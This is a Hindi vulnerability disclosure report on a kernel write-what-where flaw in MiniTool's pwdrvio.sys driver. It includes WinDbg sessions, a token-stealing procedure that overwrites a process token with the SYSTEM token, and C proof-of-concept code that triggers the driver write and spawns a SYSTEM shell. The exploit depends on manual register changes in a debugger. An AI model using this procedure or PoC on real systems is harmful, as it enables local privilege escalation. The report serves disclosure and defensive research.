
परियोजना दिनांक: फरवरी 2026 / MiniTool के कर्नेल ड्राइवर के भीतर मेमोरी भ्रष्टाचार भेद्यता। एक डीबगर-सहायता प्राप्त मनमाना कर्नेल राइट प्रिमिटिव का प्रदर्शन करता है जिसका उपयोग विशेषाधिकार वृद्धि की दिशा में किया जा सकता है।
MiniTool के pwdrvio.sys कर्नेल ड्राइवर के भीतर कर्नेल write-what-where स्थिति। एक डीबगर-सहायता प्राप्त मनमाना कर्नेल राइट प्रिमिटिव प्रदर्शित करता है जिसका उपयोग विशेषाधिकार वृद्धि (privilege escalation) की दिशा में किया जा सकता है।
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
मनमाना कर्नेल राइट → स्थानीय विशेषाधिकार वृद्धि (LPE)
गंभीरता: उच्च (HIGH)
CVSS 3.1 स्कोर: 7.8 (LPE)
CVSS वेक्टर स्ट्रिंग:
LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
हमले की पूर्वापेक्षाएँ:
शोषण परिणाम: LPE - डीबगर-सहायता प्राप्त विशेषाधिकार वृद्धि प्रदर्शित की गई (NT AUTHORITY / SYSTEM), पूर्ण सिस्टम समझौता
तिथि: 5 फरवरी, 2026
गतिविधि: कस्टम Python फज़र का उपयोग करके व्यवस्थित कर्नेल ड्राइवर फज़िंग
खोज प्रक्रिया:
लक्ष्य चयन:
pwdrvio.sys को सबसे पुराने ड्राइवर के रूप में पहचाना (टाइमस्टैम्प: 16 जून, 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0प्रारंभिक फज़िंग:
ctypes का उपयोग करके Python फज़र विकसित कियाWriteFile/DeviceIoControl के माध्यम से यादृच्छिक डेटा भेजावेरिफायर सक्रियण:
वेरिफायर कॉन्फ़िगरेशन: ```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### WinDbg कर्नेल डिबगिंग सेटअप
**दिनांक:** 5-6 फरवरी, 2026
**गतिविधि:** रूट कॉज़ विश्लेषण के लिए कर्नेल डिबगिंग वातावरण स्थापित किया गया
**सेटअप प्रक्रिया:**
1. **VMware सीरियल पोर्ट कॉन्फ़िगरेशन:** ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
अतिथि OS कॉन्फ़िगरेशन: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0
होस्ट WinDbg कनेक्शन: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓
Result: "Kernel Debugger connection established."
दिनांक: 6 फरवरी, 2026
गतिविधि: आर्बिट्ररी कर्नेल राइट प्रिमिटिव की पहचान की गई
विश्लेषण चरण:
मॉड्यूल विश्लेषण: ```
1: kd> lm m pwdrvio
start end module name
fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio
DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8
[03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
असुरक्षित निर्देश खोज (Vulnerable Instruction Discovery):
राइट हैंडलर पर ब्रेकपॉइंट सेट करें: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g
Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
महत्वपूर्ण निष्कर्ष: मनमाना लेखन प्रिमिटिव की पहचान की गई!
RAX) को पते [R11-0x10] पर लिखता हैR11 स्टैक फ्रेम से लोड किया जाता है: mov r11, qword ptr [rbp+0xB8h]रजिस्टर स्थिति विश्लेषण: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here
दिनांक: 6-7 फरवरी, 2026
गतिविधि: User-After-Free से write-what-where स्थिति तक भेद्यता का पता लगाया गया
Memory Corruption श्रृंखला:
IRP आवंटन: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets
बफर संबंध: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
विश्लेषण: उपयोगकर्ता बफर RBP फ्रेम से सीधे एक्सेस नहीं किया जा सकता
RBP+0xB8 ऑफसेट उपयोगकर्ता-नियंत्रित बफर की ओर इशारा नहीं करताउपयोग-के-बाद-मुक्त (Use-After-Free) स्थिति:
ड्राइवर IRP संरचना में डैंगलिंग पॉइंटर्स बनाए रखता है: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
दिनांक: 7-8 फरवरी, 2026
गतिविधि: टोकन चोरी तकनीक विकसित की गई
शोषण रणनीति:
उद्देश्य: वर्तमान प्रक्रिया टोकन को SYSTEM टोकन से अधिलेखित करना
Windows EPROCESS संरचना:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location
**टोकन चोरी प्रक्रिया:**
1. **SYSTEM प्रोसेस का पता लगाएं:** ```
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
हमलावर प्रक्रिया का पता लगाएं: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Standard user token
लक्ष्य पता गणना करें: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target
टोकन ओवरराइट करें: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!
निष्पादन पुनर्स्थापित करें: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution
परिणाम: प्रक्रिया के पास अब SYSTEM विशेषाधिकार हैं!
स्थान: pwdrvio.sys ऑफसेट 0x1641
असेंबली:```assembly
pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP
pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!
**ट्रिगर तंत्र:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
शोषण सीमाएँ:
इस कमजोरी के विश्वसनीय शोषण के लिए कर्नेल डिबगिंग टूल्स की आवश्यकता होती है, क्योंकि:
रजिस्टर नियंत्रण चुनौती:
R11 को [RBP+0xB8] से लोड किया जाता हैRBP कर्नेल पूल में IRP स्टैक फ्रेम की ओर इशारा करता है[RBP+0xB8] को सीधे नियंत्रित नहीं किया जा सकतापूल मेमोरी लेआउट: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)
आवश्यक मैनुअल हस्तक्षेप:
R11 रजिस्टर को लक्षित पते पर सेट करेंRAX रजिस्टर को SYSTEM टोकन मान पर सेट करेंमेट्रिक्स:
कोड:``` C #include <windows.h> #include <stdio.h>
int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");
// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
return 1;
}
printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");
getchar(); // Breakpoint of WinDbg
// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
printf("[*] Completed. SYSTEM Shell Opening...\n");
// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");
return 0;
}
**कैसे संकलित करें:**
* लिनक्स पर MinGW```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static
WinDbg प्रक्रिया:
1: kd> dq ffff9d8f6401f080+4b8 L1
ffff9d8f6401f538 ffffc20940117738
1: kd> dq ffff9d8f6401f538 L1
ffff9d8f6401f538 ffffc20940117738
1: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffff9d8f5f069040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517.
Image: System
1: kd> dq ffff9d8f5f069040+4b8 L1
ffff9d8f5f0694f8 ffffc2093441d8df
1: kd> r rax = ffffc2093441d8df
1: kd> r r11 = ffff9d8f6401f538 + 10
1: kd> p
pwdrvio+0x1645:
fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df
1: kd> r rip = pwdrvio + 0x165f
1: kd> r eax = 0
1: kd> bc *
1: kd> g
**टर्मिनल आउटपुट:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ========
SeShutdownPrivilege Sistemi kapat Disabled
SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Enabled
SeUndockPrivilege Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Disabled
SeTimeZonePrivilege Saat dilimini değiştir Disabled
PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey Label S-1-16-8192
PS C:\Users\standarduser\directory>
PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.
[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.
C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system
C:\Users\standarduser\directory>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= =============================================================================== ========
SeCreateTokenPrivilege Belirteç nesnesi oluştur Disabled
SeAssignPrimaryTokenPrivilege İşlem düzeyi belirtecini değiştir Disabled
SeLockMemoryPrivilege Sayfaları bellekte kilitle Enabled
SeIncreaseQuotaPrivilege İşlem için bellek kotaları ayarla Disabled
SeTcbPrivilege İşletim sisteminin parçası gibi davran Enabled
SeSecurityPrivilege Denetimi ve güvenlik günlüğünü yönet Disabled
SeTakeOwnershipPrivilege Dosyaların veya diğer nesnelerin sahipliğini al Disabled
SeLoadDriverPrivilege Aygıt sürücüleri yükle ve kaldır Disabled
SeSystemProfilePrivilege Sistem performansı profili oluştur Enabled
SeSystemtimePrivilege Sistem saatini değiştir Disabled
SeProfileSingleProcessPrivilege Tek işlem profili oluştur Enabled
SeIncreaseBasePriorityPrivilege Zamanlama önceliğini artır Enabled
SeCreatePagefilePrivilege Disk belleği dosyası oluştur Enabled
SeCreatePermanentPrivilege Kalıcı paylaşılan nesneler oluştur Enabled
SeBackupPrivilege Dosya ve dizinleri yedekle Disabled
SeRestorePrivilege Dosya ve dizinleri geri yükle Disabled
SeShutdownPrivilege Sistemi kapat Disabled
SeDebugPrivilege Programların hatalarını ayıkla Enabled
SeAuditPrivilege Güvenlik denetimleri oluştur Enabled
SeSystemEnvironmentPrivilege Üretici yazılımı ortam değerlerini değiştir Disabled
SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Enabled
SeUndockPrivilege Bilgisayarı takma biriminden çıkar Disabled
SeManageVolumePrivilege Birim bakım görevleri gerçekleştir Disabled
SeImpersonatePrivilege Kimlik doğrulamasından sonra istemcinin özelliklerini al Enabled
SeCreateGlobalPrivilege Genel nesneler oluştur Enabled
SeTrustedCredManAccessPrivilege Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş Disabled
SeRelabelPrivilege Nesne etiketini değiştir Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Enabled
SeTimeZonePrivilege Saat dilimini değiştir Enabled
SeCreateSymbolicLinkPrivilege Simgesel bağlantılar oluştur Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled
C:\Users\standarduser\directory>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label S-1-16-16384
परीक्षण वातावरण:
आवश्यक उपकरण:
चरण 1: कर्नेल डीबगिंग वातावरण सेटअप करें
A. VMware कॉन्फ़िगरेशन
\\.\pipe\com_1B. गेस्ट OS कॉन्फ़िगरेशन```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.
C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.
C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200
C:> shutdown /r /t 0
**C. होस्ट WinDbg सेटअप**
1. WinDbg (x64) खोलें
2. File → Kernel Debug (Ctrl+K)
3. कॉन्फ़िगर करें:
- Tab: COM
- Port: `\\.\pipe\com_1`
- Baud Rate: 115200
- ✓ Pipe
- ✓ Reconnect
4. OK पर क्लिक करें
कनेक्शन संदेश की प्रतीक्षा करें:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.
1: kd>
चरण 2: प्रूफ ऑफ कॉन्सेप्ट संकलित करें
इसे lpe_poc.c के रूप में सहेजें:```c
#include <windows.h>
#include <stdio.h>
int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");
// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
return 1;
}
printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");
getchar(); // Wait for WinDbg setup
// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");
// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");
CloseHandle(hDevice);
return 0;
}
**Linux/WSL पर संकलित करें:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static
चरण 3: शोषण निष्पादित करें
A. VM में PoC प्रारंभ करें (मानक उपयोगकर्ता)```cmd C:> whoami desktop-lfkkhu2\standard_user
C:> whoami /priv
Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
[Limited privileges - no SeDebugPrivilege]
C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...
[WAIT - Do not press ENTER yet]
**B. WinDbg सेटअप और हेरफेर**```
1: kd> bp pwdrvio+0x1641
1: kd> g
अब PoC में ENTER दबाएँ। WinDbg ब्रेक हो जाएगा:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax
0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20
**C. SYSTEM प्रक्रिया और टोकन का पता लगाएं**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffc08e66444c80 HandleCount: 2471
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
D. आक्रमणकर्ता प्रोसेस का पता लगाएं``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)
**E. टोकन ओवरराइट करें**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10
0: kd> r r11
r11=ffffe78760150548
0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440 lea rax,[rsp+40h]
0: kd> dq ffffe78760150538 L1
ffffe787`60150538 ffffc08e`6642f04f ← Token successfully changed!
F. निष्पादन पुनर्स्थापित करें``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g
**C. VM में विशेषाधिकार वृद्धि (Privilege Escalation) सत्यापित करें**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system
Microsoft Windows [Version 10.0.19045.6466]
C:\> whoami
nt authority\system
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ==================================== ========
SeCreateTokenPrivilege Create a token object Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files/objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled ← SYSTEM!
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after auth Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as trusted Disabled
SeRelabelPrivilege Modify an object label Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users Enabled
C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone Well-known group S-1-1-0 Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label S-1-16-16384 ← SYSTEM integrity!
MiniTool सॉफ्टवेयर:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes
**परीक्षण उपकरण:**```
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
प्राथमिक उत्पाद:
ड्राइवर विवरण:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)
### संभावित रूप से प्रभावित
अन्य MiniTool उत्पाद जो समान ड्राइवर का उपयोग कर सकते हैं:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker
**नोट:** पुष्टि के लिए प्रत्येक उत्पाद का अलग-अलग परीक्षण किया जाना चाहिए।
### ऑपरेटिंग सिस्टम संगतता
**परीक्षण किया गया और कमजोरी की पुष्टि हुई:**
- Windows 10 Home Build 19045.6466 (x64)
**कारण:** ड्राइवर सभी आधुनिक Windows संस्करणों के साथ संगत है और इसमें कोई संस्करण-विशिष्ट जाँच शामिल नहीं है।
## कानूनी अस्वीकरण
यह रिपॉजिटरी केवल शैक्षिक, रक्षात्मक सुरक्षा अनुसंधान, और नियंत्रित प्रयोगशाला वातावरण में कमजोरी पुनरुत्पादन उद्देश्यों के लिए प्रदान की गई है।
जानकारी और प्रूफ-ऑफ-कॉन्सेप्ट कोड का उद्देश्य रक्षकों, शोधकर्ताओं, और विक्रेताओं को रिपोर्ट की गई कमजोरी को समझने और ठीक करने में मदद करना है।
स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इस कोड का अनधिकृत या दुर्भावनापूर्ण उपयोग लागू कानूनों और विनियमों का उल्लंघन कर सकता है।
लेखक अवैध गतिविधि को प्रोत्साहित या समर्थन नहीं करता है और इस सामग्री के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।
यह कमजोरी प्रकटीकरण रिपोर्ट निम्नलिखित के लिए प्रदान की गई है:
1. सुरक्षा अनुसंधान और शिक्षा
2. विक्रेता सूचना और पैच विकास
3. अंतिम उपयोगकर्ताओं की सुरक्षा
4. शैक्षणिक और रक्षात्मक सुरक्षा उद्देश्य
**निषिद्ध उपयोग:**
- कंप्यूटर सिस्टम तक अनधिकृत पहुंच
- दुर्भावनापूर्ण शोषण
- कोई भी अवैध गतिविधि
शोधकर्ता ने सभी परीक्षण व्यक्तिगत स्वामित्व वाले सिस्टम पर नियंत्रित वातावरण में किए। तृतीय-पक्ष सिस्टम तक कोई अनधिकृत पहुंच नहीं की गई।
**रिपोर्ट संस्करण:** 1.0
**अंतिम अद्यतन:** 9 फरवरी, 2026